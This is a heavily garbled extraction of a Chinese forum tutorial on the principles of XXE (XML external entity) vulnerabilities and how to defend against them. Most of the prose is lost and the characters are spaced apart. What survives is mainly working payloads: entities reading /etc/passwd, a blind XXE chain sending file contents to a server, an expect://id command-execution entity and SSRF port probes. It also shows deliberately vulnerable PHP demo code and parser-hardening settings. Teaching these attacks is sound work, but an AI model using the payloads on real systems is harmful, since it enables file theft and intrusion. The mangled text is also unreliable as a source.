[7428] 2018-05-12_XXE漏洞的原理和防御

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-17
2018-05-12_XXE漏洞的原理和防御 X X E x i a o t i n g   F 1 1 T e a m   2 0 1 8 - 0 5 - 1 2 X M L X M L j s o n 1 X M L X M L X M L D T D [ X M L ]     ? 0 1 0 2 0 3 0 4 0 5 0 6 0 7 0 8 0 9 1 0 1 1 1 2 1 3 1 4 1 5 1 6 1 7     < ! - - X M L - - > < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? >     < ! - - - - > < ! D O C T Y P E   n o t e   [     < ! - -   n o t e   - - > < ! E L E M E N T   n o t e   ( t o , f r o m , h e a d i n g , b o d y ) >     < ! - - n o t e - - > < ! E L E M E N T   t o   ( # P C D A T A ) >           < ! - - t o # P C D A T A - - > < ! E L E M E N T   f r o m   ( # P C D A T A ) >       < ! - - f r o m # P C D A T A - - > < ! E L E M E N T   h e a d   ( # P C D A T A ) >       < ! - - h e a d # P C D A T A - - > < ! E L E M E N T   b o d y   ( # P C D A T A ) >       < ! - - b o d y # P C D A T A - - > ] ] ] > < ! - - - - > < n o t e > < t o > D a v e < / t o > < f r o m > T o m < / f r o m > < h e a d > R e m i n d e r < / h e a d > < b o d y > Y o u   a r e   a   g o o d   m a n < / b o d y > < / n o t e >
X X E D T D D T D 2 D T D D T D X M L 使 D T D   X M L D T D [ X M L ]     ? 1 D T D [ X M L ]     ? 1 D T D D O C T Y P E D T D E N T I T Y S Y S T E M P U B L I C 3 X M L D T D X M L 1 2 1 2 4 1 % % & 2 D T D D T D X M L [ X M L ]     ? 1 [ X M L ]     ? 1 < ! D O C T Y P E     [ ] > < ! D O C T Y P E     S Y S T E M   " " > < ! E N T I T Y     " " > < ! E N T I T Y     S Y S T E M   " U R I " >
[ X M L ]     ? 1 [ X M L ]     ? 1 1 + [ X M L ]     ? 1 2 3 4 5 6     2 + [ X M L ]     ? < ! E N T I T Y   %     " " > < ! E N T I T Y   %     S Y S T E M   " U R I " > < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   a   [ < ! E N T I T Y   n a m e   " n M a s k " > ] > < f o o > < v a l u e > & n a m e ; < / v a l u e >   < / f o o >
1 2 3 4 5 6     3 + [ X M L ]     ? 1 2 3 4 5     4 + [ X M L ]     ? 1 2 3 4 5     < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   a   [ < ! E N T I T Y   n a m e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > ] > < f o o > < v a l u e > & n a m e ; < / v a l u e >   < / f o o > < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   a   [ < ! E N T I T Y     n a m e     " n M a r k " > % n a m e ; ] > < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   a   [ < ! E N T I T Y   %   n a m e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > % n a m e ; ] >
X X E D T D 5 f i l e h t t p h t t p s f t p [ X M L ]     ? 1 2 3 4 5 6     X X E 1 X X E X M L X X E P H P P H P X M L s i m p l e x m l 1 1 H T T P [ P H P ]     ? < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   a   [ < ! E N T I T Y   c o n t e n t   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > ] > < f o o > < v a l u e > & c o n t e n t ; < / v a l u e >         < / f o o >
1 2 3 4 5 6       1 : c = < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   A N Y   [ < ! E N T I T Y   n a m e   " x x e   t e s t " > ] > < r o o t > & n a m e ; < / r o o t > X M L 2 c = < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   A N Y   [ < ! E N T I T Y   n a m e   " f i l e : / / / e t c / p a s s w d " > ] > < r o o t > & n a m e ; < / r o o t > p a s s w d 2 2 X M L [ P H P ]     ? < ? p h p                 $ c o n t e n t =   $ _ G E T [ ' c ' ] ;                                 $ x m l =   s i m p l e x m l _ l o a d _ s t r i n g ( $ c o n t e n t ) ;                 p r i n t _ r ( $ x m l ) ; ? >
1 2 3 4 5 6       X M L X M L 1 . j p g [ X M L ]     ? 1     2 X X E D O S 1 X M L [ P H P ]     ? < ? p h p                 $ p a t h =   $ _ G E T [ ' f i l e ' ] ;                 $ c o n t e n t =   f i l e _ g e t _ c o n t e n t s ( $ p a t h ) ;                 $ x m l =   s i m p l e x m l _ l o a d _ s t r i n g ( $ c o n t e n t ) ;         p r i n t _ r ( $ x m l ) ; ? > < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   A N Y   [ < ! E N T I T Y   n a m e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > ] > < r o o t > & n a m e ; < / r o o t >
1 2 3 4 5 6       B l i n d   X X E [ X M L ]     ? 1 2 3 4 5 6 7 8   1 . x m l [ X M L ]     ? 1 使 s a f a r i 使 使 2 e x p e c t P H P 使 e x p e c t : / / [ X M L ]     ? < ? p h p                 $ p a t h =   $ _ G E T [ ' f i l e ' ] ;                 $ c o n t e n t =   f i l e _ g e t _ c o n t e n t s ( $ p a t h ) ;                 $ x m l =   s i m p l e x m l _ l o a d _ s t r i n g ( $ c o n t e n t ) ;                 / / p r i n t _ r ( $ x m l ) ; ? > < ? x m l v e r s i o n = " 1 . 0 " ? >     < ! D O C T Y P E   A N Y [     < ! E N T I T Y   %   f i l e   S Y S T E M   " f i l e : / / / t m p / 1 . t x t " >     < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . x m l " >     % r e m o t e ; % a l l ; % s e n d ;     ] > < ! E N T I T Y   %   a l l   " < ! E N T I T Y   %   s e n d   S Y S T E M   ' h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p ? f i l e = % f i l e ; ' > " >
1 2 3 4     3 8 0 [ X M L ]     ? 1 2 3 4     4 0 3 8 0 8 1 [ X M L ]     ? < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   A N Y   [                 < ! E N T I T Y   x x e   S Y S T E M   " e x p e c t : / / i d " > ] > < r o o t > & x x e ; < / r o o t > < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   A N Y   [                 < ! E N T I T Y   x x e   S Y S T E M   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 " > ] > < r o o t > & x x e ; < / r o o t >
1 2 3 4     8 1 4 S S R F U R L 访 X X E S t r u t s 2 3 X X E 1 X X E 使 P H P l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r ( t r u e ) ; J A V A : D o c u m e n t B u i l d e r F a c t o r y   d b f   = D o c u m e n t B u i l d e r F a c t o r y . n e w I n s t a n c e ( ) ; d b f . s e t E x p a n d E n t i t y R e f e r e n c e s ( f a l s e ) ; P y t h o n f r o m   l x m l   i m p o r t   e t r e e x m l D a t a   =   e t r e e . p a r s e ( x m l S o u r c e , e t r e e . X M L P a r s e r ( r e s o l v e _ e n t i t i e s = F a l s e ) ) 2 < ! D O C T Y P E < ! E N T I T Y S Y S T E M P U B L I C < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   A N Y   [                 < ! E N T I T Y   x x e   S Y S T E M   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 1 " > ] > < r o o t > & x x e ; < / r o o t >
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则